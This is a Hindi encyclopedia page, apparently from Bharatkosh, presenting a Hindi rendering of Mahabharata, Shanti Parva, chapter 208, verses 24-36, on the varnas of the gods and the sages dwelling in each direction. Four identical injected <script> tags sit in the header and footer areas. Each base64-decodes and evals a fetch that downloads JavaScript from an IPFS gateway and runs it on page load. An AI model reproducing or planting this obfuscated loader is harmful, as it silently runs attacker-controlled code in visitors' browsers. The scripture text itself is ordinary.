महाभारत शान्ति पर्व अध्याय 208 श्लोक 24-36
गणराज्य | इतिहास | पर्यटन | भूगोल | विज्ञान | कला | साहित्य | धर्म | संस्कृति | शब्दावली | विश्वकोश | भारतकोश |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
अष्टाधिकद्विशततम (208) अध्याय: शान्ति पर्व (मोक्षधर्म पर्व)
उग्र तपस्या में लगे हुए दोनों अश्विनीकुमारों को शूद्र कहा जाता है । अंगिरा गोत्रवाले सम्पूर्ण देवता ब्राह्राण माने गये हैं । यही विद्वानों का निश्चय है। इस प्रकार सम्पूर्ण देवताओं में जो चार वर्ण हैं, उनका वर्णन किया गया ।जो सबेरे उठकर इन देवताओं का कीर्तन करता हैं, वह स्वयं किये हुए तथा दूसरों के संसर्ग से प्राप्त हुए सम्पूर्ण पापसमूह से मुक्त हो जाता है । यवक्रीत, रैभ्य, अर्वावसु, परावसु, औशिज, कक्षीवान् और बल ये अंगिरा के पुत्र हैं। तात ! मेधातिथि के पुत्र कण्वमुनि, बर्हिषद तथा त्रिलोकी को उत्पन्न करने में समर्थ सप्तर्षिगण हैं, जो पूर्व दिशा में स्थित होते हैं। उन्मुच, विमुच, बलवान् स्वस्त्यात्रेय, प्रमुच, इध्मवाह, दृढ़तापूर्वक उत्तम व्रतका पालन करनेवाले मित्रावरूण के प्रतापी पुत्र भगवान भगवान अगस्त्य -ये ब्रह्रार्षि सदा दक्षिण दिशा में रहते हैं। उषंगु, कवष, धौम्य, शक्तिशाली परिव्याध, एकत, द्वित, त्रित तथा अत्रि के प्रभावशाली पुत्र भगवान सारस्वत- ये महात्मा महर्षि पश्चिम दिशा में निवास करते हैं। आत्रेय, वसिष्ठ, महर्षि कश्यप, गौतम, भरद्वाज, कुशिकवंशी विश्वामित्र तथा महात्मा ऋचीक के पुत्र भगवान जमदग्नि ये सात उत्तर दिशा में रहते हैं। इस प्रकार प्रत्येक दिशा में रहनेवाले सम्पूर्ण तेजस्वी महर्षियों का वर्णन किया गया । ये महात्मा सम्पूर्ण लोकों की सृष्टि करने में समर्थ एवं सबके साक्षी हैं । इनका हृदय बड़ा विशाल है । इस तरह ये प्रत्येक दिशा में निवास करते हैं। इन सबका गुणगान करने से मनुष्य सम्पूर्ण पापों से मुक्त हो जाता है । जिस-जिस दिशा में ये महर्षि रहते हैं, उस – उस दिशा में जाने पर जो मनुष्य इनकी शरण लेता हैं, वह सब पापों से मुक्त हो जाता है और कुशलपूर्वक अपने घर को पहॅुच जाता है।
« पीछे | आगे » |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>